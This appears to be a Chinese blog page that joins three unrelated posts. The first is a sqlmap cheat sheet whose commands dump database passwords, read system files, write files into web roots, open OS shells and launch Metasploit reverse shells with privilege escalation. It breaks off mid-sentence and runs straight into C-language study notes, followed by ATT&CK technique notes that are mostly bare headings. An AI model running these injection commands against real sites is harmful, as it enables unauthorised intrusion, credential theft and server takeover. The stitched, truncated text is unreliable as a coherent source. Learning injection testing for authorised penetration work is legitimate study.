SQLMAP

参考文章

之前学习了手工注入sql,但是由于各个厂家使用的数据库不同,配置的环境不同等,靠手工很繁琐而且可能遇上很多问题。为了节省时间提高效率自然我们要学会使用工具,比如sqlmap,我直接copy迪总的笔记,本篇文章作为使用文档在遇到问题的时候发挥参考作用。

基本操作笔记:-u #注入点

-f #指纹判别数据库类型

-b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2 -p “page,id”)

-D “” #指定数据库名

-T “” #指定表名

-C “” #指定字段

-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)

–level=(1-5) #要执行的测试水平等级,默认为1

–risk=(0-3) #测试执行的风险等级,默认为1

–time-sec=(2,5) #延迟响应,默认为5

–data #通过POST发送数据

–columns #列出字段

–current-user #获取当前用户名称

–current-db #获取当前数据库名称

–users #列数据库所有用户

–passwords #数据库用户所有密码

–privileges #查看用户权限(–privileges -U root)

-U #指定数据库用户

–dbs #列出所有数据库

–tables -D “” #列出指定数据库中的表

–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段

–dump-all #列出所有数据库所有表

–exclude-sysdbs #只列出用户自己新建的数据库和表

–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)

–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据

–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)

–os #指定系统(Linux,Windows)

-v #详细的等级(0-6)

0:只显示Python的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。

3:有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容

–privileges #查看权限

–is-dba #是否是数据库管理员

–roles #枚举数据库用户角色

–udf-inject #导入用户自定义函数(获取系统权限)

–union-check #是否支持union 注入

–union-cols #union 查询表记录

–union-test #union 语句测试

–union-use #采用union 注入

–union-tech orderby #union配合order by

–data “” #POST方式提交数据(–data “page=1&id=2”)

–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)

–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)

–user-agent “” #自定义user-agent

–proxy “http://127.0.0.1:8118” #代理注入

–string=”” #指定关键词,字符串匹配.

–threads    #采用多线程(–threads 3)

–sql-shell #执行指定sql命令

–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1” )

–file-read #读取指定文件

–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)

–file-dest #要写入的文件绝对路径

–os-cmd=id #执行系统命令

–os-shell #系统交互shell

–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)

–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)

–os-smbrelay #

–os-bof #

–reg-read #读取win系统注册表

–priv-esc #

–time-sec= #延迟设置 默认–time-sec=5 为5秒

-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入

–eta #盲注

/pentest/database/sqlmap/txt/

common-columns.txt  字段字典   

common-outputs.txt

common-tables.txt 表字典

keywords.txt

oracle-default-passwords.txt

user-agents.txt

wordlist.txt

常用语句 :

1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b –current-user –current-db –users –passwords –dbs -v 0

2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –passwords -U root –union-use -v 2

3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –dump -T users -C username -D userdb –start 2 –stop 3 -v 2

4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –dump -C “user,pass” -v 1 –exclude-sysdbs

5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –sql-shell -v 2

6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –file-read “c:\boot.ini” -v 2

7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –file-write /test/test.txt –file-dest /var/www/html/1.txt -v 2

8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-cmd “id” -v 1

9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-shell –union-use -v 2

10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 –priv-esc -v 1

11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 -v 1

12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-bof –msf-path=/opt/framework/msf3 -v 1

13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 –reg-add –reg-key=”HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1

14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –eta

15./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id –prefix “‘)” –suffix “AND (‘abc’=’abc”

16./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1” –auth-type Basic –auth-cred “testuser:testpass”

17./sqlmap.py -l burp.log –scope=”(www)?\.target\.(com|net|org)”

18./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

19./sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” –sql-query “SELECT ‘foo'” -v 1

20./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” –common-tables -D testdb –banner

21./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1″ –cookie=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low” –string=’xx’ –dbs –level=3 -p “uid”

简单的注入流程 :

1.读取数据库版本,当前用户,当前数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b –current-user –current-db -v 1

2.判断当前数据库用户权限

sqlmap -u http://www.xxxxx.com/test.php?p=2 –privileges -U 用户名 -v 1

sqlmap -u http://www.xxxxx.com/test.php?p=2 –is-dba -U 用户名 -v 1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.xxxxx.com/test.php?p=2 –users –passwords -v 2

sqlmap -u http://www.xxxxx.com/test.php?p=2 –passwords -U root -v 2

4.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 –dbs -v 2

5.获取指定数据库中的所有表

sqlmap -u http://www.xxxxx.com/test.php?p=2 –tables -D mysql -v 2

6.获取指定数据库名中指定表的字段

sqlmap -u http://www.xxxxx.com/test.php?p=2 –columns -D mysql -T users -v 2

7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.xxxxx.com/test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2

8.file-read读取web文件

sqlmap -u http://www.xxxxx.com/test.php?p=2 –file-read “/etc/passwd” -v 2

9.file-write写入文件到web

sqlmap -u http://www.xxxxx.com/test.php?p=2 –file-write /localhost/mm.php –file使用sqlmap绕过防火墙进行注入测试:

c语言复习的笔记

c语言作为我大学学习的第一门编程语言,影响深刻。但之前开设课程时正处于排课最多的阶段,我没能深入了解好很多技术细节。想起复习一下c语言的原因,这段时间我想阅读unix源码,unix便是由c语言编写而成的,日后我在学习、工作上会经常接触linux,这是其一;我的专业是信息安全,会碰到很多关于缓冲区的漏洞,学习c语言I/O与缓冲区的关系能够加深我对于漏洞产生原理的理解,并且作为面向程序的编程语言,c语言能够灵活使用指针,我希望我能对底层的知识有更多的理解。
大一学习c语言使用的是谭浩强的红皮书,这次复习我购买了C primer plus一书,这篇文行仅是我对于阅读完全书之后的思考感悟,我挑出感兴趣的,新学会的知识来记录。

一、第八章:字符输入输出和输入验证

1.缓冲区
老的系统没有缓冲区,当我们输入字符后会立即打印,很多时候会重复打印,这是无缓冲(buffer)输入;而目前的系统,我们按下回车之前不会重复打印刚输入的字符,这是缓冲输入。
缓冲分为:完全缓冲I/O、行缓冲I/O
·完全缓冲I/O:当缓冲区满后把其中内容输出,常见大小512字节和4096字节
·行缓冲I/O:出现换行符比如回车的时候,输出内容

阅读书中我看到了这么一句话“ANSI C和后续的C标准规定是缓冲的”,刷B站视频我记得win7以及之前记事本默认编码为ANSI,win10为UTF-8。还有说道缓冲区,我想到了C语言令人担心的一点,如果程序员不对变量初始化赋值,或者修改某个变量大小后没初始化,很有可能给程埋下暗雷–即未初始化会使用内存中的脏数据。

之前学习C语言没有了解好文件、流和键盘输入的关系,现在好好学习。首先,我们了解一些概念:
·直接调用操作系统的函数称为:底层I/O(low-level I/O)
·C通过标准I/O包(standard I/Opackage)来处理文件

流:
C处理的是流(stream)而不是直接处理文件。流,是一个实际输入或输出映射的数据流。让不同属性不同种类的输入由属性更加统一的流来表示。
对于C,处理键盘输入输出是以处理文件的方式进行的

文件结尾:
以前没接触这个字典,计算机操作系统要判断文件的开始和结束,可以放置一些标志,比如内嵌的CTRL+Z字符用来标记文件结尾。在文件中长这样:“^z
如今不一定使用内嵌的ctrl+Z,可能用存储文件大小的方式,但是如果用了ctrl+Z,那操作系统就会认为是一个文件结尾的标记。引起我思考,有没有某种攻击方式能用上这个特性,比如某种截断攻击。任意文件上传,即用截断方式绕过文件检查程序,类似这样的思路展开,也许会有收获。

书中说,不管操作系统以何种方式检查文件结尾,如果使用getchar()函数检测到结尾会返回
EOF(end of file),同样的scanf()检测到文件结尾也会返回EOF。他们的定义会在stdio.h文件中,当我们 #include<stdio.h> 会有对EOF的定义: #define EOF (-1) //因为一般getchar()返回0~255,不会出现-1

因此,我们可以对比getchar()的返回值与EOF的关系,不相同就是没有到达文件结尾,如:
while((ch=getchar())!=EOF) //表示还没有结束时,在Java里是:
import java.util.Scanner;
<T> num=input.next<T>();

重定向和文件
标准输入输出stdin、stdout流。C程序使用标准I/O包查找标准输入作为输入源。程序可以通过两种方式使用文件:
①用函数打开文件、关闭文件、读取文件、写入文件;
②与键盘和屏幕互动的程序,通过不同的渠道重定向输入至文件和从文件输出。
不同系统(使用c开发的UNIX、LINUX\DOS)中重定向,都可以让程序使用文件而不是键盘来输入,重定向输出让程序输出到文件而不是屏幕。
·unix命令行模式
·linux(ditto)
·windows命令提示符
重定向符号:“<” 用法:./echo.exe <words //将words中的字符重定向输入到echo.exe中,直到文件结尾。
标准提示符:“$” 是unix和linux的标准提示符;“A>”或“C>”是windows和DOS中的。
重定向输出:“>” 用法:./echo.exe >mywords //创建了myword用于把echo.exe中的字符重定向输出到mywords,如果原本存在mywords,会覆盖原始数据。
组合重定向:使用“<”、“>”例如,创建mywords的副本temp:./echo.exe <mywords >temp

重定向运算符连接一个可执行程序和一个数据文件,不能用于连接两个数据文件;不能读取多个文件输入也不能输出至多个文件
追加之末尾的连接运算符“>>”:表示把数据追加到现有文件的末尾;
管道“|”:表示前者的结果为后者的输入;

在8.5.1使用缓冲输入这个内容里,我注意到:
while(getchar() != ‘\n’)
continue; //因为当输入y或者n 之后我们会输入回车来换行,但是这也意味着会输入一个‘\n’,程序会进行多的判断,利用这条代码会再识别y之后终止本次循环,也就是说跳过本次输入字符串中y后面的部分,包括那个’\n‘

混合数值和字符输入:
注意到getchar()会读取每一个字符,包括空格,制表符等,但是scanf()读取数字时会跳过制表符、空格和换行!
在书中例子提醒我们,使用getchar()和scanf()混用,在输入数字后我们按回车换行,尽管scanf()没有处理它,但是这个换行符仍然在输入队列,当下一次循环whlie检查到这个换行符,就会跳出循环。在本条例子中我注意到使用了break语句,用来检测scanf()的执行情况,查询scanf()的返回值,如下图:

如果是int ch=scanf(“%d %d %d”,&a,&b,&c); 输入 1 1 s ,那么会ch会是2,因为只有前两个被正确接收。

二、第九章:函数

尾递归:相当于循环,是最简单的递归。那么当循环和递归都能解决问题的时候,应该优先选择循环,因为每次递归都会创建一组变量,因此递归使用的内存会很多,执行速度会慢。

查找地址:&运算符
假设一个变量名为sigma,那么&sigma是这个变量的地址。

指针:pointer,是c语言最重要的概念,用来存储变量的地址

间接运算符:*
假设一个指针名或者地址名为sigma,那么*sigma表示存储在指针指向地址上的值。
通常声明指针时用空格,如:int * pi; //这是一个指向int变量的指针叫做pi

三、第十章:数组

·sizeof运算符给出它的运算对象的大小(以字节为单位)

指定初始化器(c99):
这是以前没听过的用法。现在复习我最大的感悟就是初始化的重要性,如果不初始化用的是脏数据,如果初始化了,其他会被设置成0.可以使用“int array[6]={[5]=233}”来对下标为5的元素初始化其他元素会被初始化为0.注意到,如果出现“{1,2,3,[1]=1}”,那么会把下表为1的元素的值改成1覆盖掉原来的2.

数组边界问题:
以前学习数据结构、操作系统的时候,有时粗心没有考虑好边界。跑数据的时候就出现越界的问题,在生产中这是十分严重的。c语言相信程序员,我们如果担心自己写错导致越界,应该把size写死然后再在循环中引用,比如:#define size 4;……;for(int i=0;i<size;i++){…}

指针和数组的关系:
数组表示法其实是变相使用指针,举个例子,假设一个数组叫做sigma,包含的元素为{1,2,3,4}那么数组名sigma是数组中第一个变量sigma[0]也就是1的地址。相当于:
sigma==&sigma[0];
指针+1:表示指针的值递增它所指向类型的大小(以字节为单位),换成人话就是:*sigma指向1,则
*(sigma+1)指向2,*(sigma+2)指向3
.注意*运算符优先级比+要高,sigma[2]可以表示为*(sigma+2)

函数、数组、指针的关系:
学习c语言一定要理清楚指针的概念。如果我们想用函数处理数组比如total=sum(sigma)注意到数组sigma是首元素的地址,我们要传给一个指针形式的参数!比如int sum(* pointer); //定义函数时的形参为指针
书中提示我们要注意:只有在函数原型或者函数定义头中,才能使用int sigma[]代替*sigma

书中使用两个指针指明数组开始与结束的时候,#define size 10;引用函数的时候使用如下代码:
answer=sum(sigma,sigma+size) //按道理说sigma+size将会是指向sigma[10]而sigma最后一个元素是sigma[9],指针越界了。书本给出的解释是:C保证给数组分配空间时,指向数组最后面元素后的下一个位置的指针仍然是有效的指针。也就是说*(sigma+10)也是有效的。。。。

为了记住*与++的优先级关系,举出下面例子:
total +=*start++ //*和++的优先级相同,但是结合律是从右往左看,也就是*(start++)

指针着实是一个十分敏感的东西,用的好速度极快,用不好极容易造成大问题。书本提醒:千万不要解引用未初始化的指针!
int * sigma;
*sigma=5; //出大问题,尽管是将5赋值给sigma,但是会造成擦除原来存储的数据!

因为创建一个指针的时候,系统只分配了存储指针本身的内存,并没有分配存储数据的内存!我们可以用已分配的地址初始化它,比如说用现有的某个变量的地址初始化它!或者使用malloc()函数先分配内存
看到这里,解开了我这些年关于为什么要使用malloc()的疑问!

在b站看到一个up主的视频,我一下子又更理解了一点。当我们int a=3;计算机会给变量开辟一个空间,假设为0xa0,也就是在这个地址里存着一个数值3,当我们int * pi;也会给指针开辟空间&pi为0xb0,;那么当我们 *pi=&a;相当于是0xb0这个地址上存者0xa0这个地址。

对于数据的保护:
对形式参数使用const。如果函数的意图不是修改数组中的数据内容,就在函数原型和函数定义中声明形式参数时使用const,比如:int sum(const int ar[],int n);

之前上课的时候,讲到指向指针的指针很多多同学表示不理解,我开始也不太明白。假设有一个二维数组:sigma[3][2]={{4,2},{2,3},{6,5}} //sigma[2][1]=5 相当于*(*(sigma+2)+1)=5

四、第十一章:字符串以及字符串函数

书中强调对数据初始化的重要性。
关于字符串数组和初始化:
·如果一个字符串的末尾没有空字符”\0“那么他就不是字符串而是字符数组。所以我们要确保在指定数组大小的时候,数组元素的个数至少比字符串长度多1(为了容纳空字符),没被使用的元素会被初始化为”\0“

在数组和指针区别时,注意到:
char * word=”sigma”;
word[o]=”h”;
printf(“sigma”); 会把所有simga实例都修改,这会造成严重后果。于是在把指针初始化为字符串的时候,应该使用const限定符:
const char * word=“sigma”;
如果打算修改字符串,就不要用指针指向字符串字面量

讲到字符串数组时,对比char * sigma[lim]=和char higms[lim][size],higma数组的数据是被存储了两次的,并且higma每行长度固定,sigma则是不规则的不固定的,使用起来sigma比higma高效得多。如果要用数组表示一些列待显示的字符串,应该使用指针数组

在字符串的输出:我们注意要把一个字符串读入程序,就要给该字符串留出空间,再输入该字符串。
char * name;
scanf(“%s,name”); //这是不对的,name没有初始化很容易擦除别的数据,可以写成name[81]

读取时,scanf()和转换说明%s只允许读取一个单词,gets()可以读取整行输入直到遇到换行符。但是注意到,gets()函数只能接受一个参数,他不能检查还能否装得下输入行也就是说函数只知道数组的开始,不知道数组的长度(有多少个数据)。很容易造成缓冲区溢出
既然gets()有些危险,人们使用fgets()来替代它。下面是fgets()和fputs():
·fgets():有三个参数,第二个参数限制读入字符最大数量,如果该参数为n,那么函数会读入n-1个字符,或者遇到换行符,而与gets()不同,fgets()读到换行符的时候会保存在字符串中
·fgets()的第三个参数,要指明要读入的文件。如果是要从键盘输入,入参就要写:stdin
·一般fgets()与fputs()组合使用,fputs()有两个参数,第二个参数指明要写入的文件,如果在屏幕输出,第二个参数要写:stdout
·fputs()在输出字符串之后不会添加换行符

fgets()存储换行符:
·坏处:你并不想存储这些换行符
·好处:对于存储的字符串而言,检查末尾是否有换行符可以判断是否读取了一整行。

空指针和空字符:
空字符时\0是一个字符,占一个字节
空指针是地址,占4个字节

gets_s():这个函数以前没接触过,书上说该函数只接受标准输入,所以比起fgets()函数不需要第三个参数,但是gets_s会丢弃换行符。

字符串函数:
字符串函数的原型在string.h头文件中,常见有:strlen(),strcat(),strcmp(),strncmp(),strcpy(),strncopy()
而在stdio.h中有sprintf()函数

ATT&CK(六)–典型攻击技术的复现

之前学习了一些攻击组织、病毒的分析检测,也学习了高频攻击技术的分析检测,那么还应该对一些典型的攻击技术进行分析,以总结他们的规律,改进模型。

一、基于本地账户的初始访问

初始访问指的是使用各种登陆载体在网络中获得初始访问立足点的技术,比如攻击漏洞,鱼叉攻击等。能使用有效凭证和外部远程服务,或者更改密码让原本的用户无法登录,能导致持久化。
T1078.003本地账户:
攻击者通过获取利用本地账户凭证,实现访问初始化、持久化、权限提升、防御逃跑。
攻击者会在windows操作系统中创建具有管理员权限的账户,为了隐藏踪迹它们也会使用清楚命令。

二、基于WMI执行攻击技术
执行包括在本地执行以及远程执行。
T1047windows管理规范:
windows管理规范(WMI)是一种windows管理功能,可以为windows系统组件的本地和远程访问提供相同的环境(用于比如说远程办公)
WMI依赖本地和远程访问的WMI服务,以及远端访问的服务器消息块(SMB)远程过程调用服务(RPCS),RPCS通过135端口运作。

攻击者利用WMI与本地和远程系统进行交互,并且将其作执行许多攻击战术的手段,比如搜集信息、横向移动。

三、基于浏览器插件实现持久化

四、基于进程注入实现提权

五、基于Rootkit实现防御绕过

六、基于暴力破解获得凭证访问权限

七、基于操作系统程序发现系统服务

八、基于SMB实现横向移动

九、自动化搜集内网数据

十、通过命令与控制通道传递攻击载荷

十一、成功窃取数据

十二、通过停止服务造成危害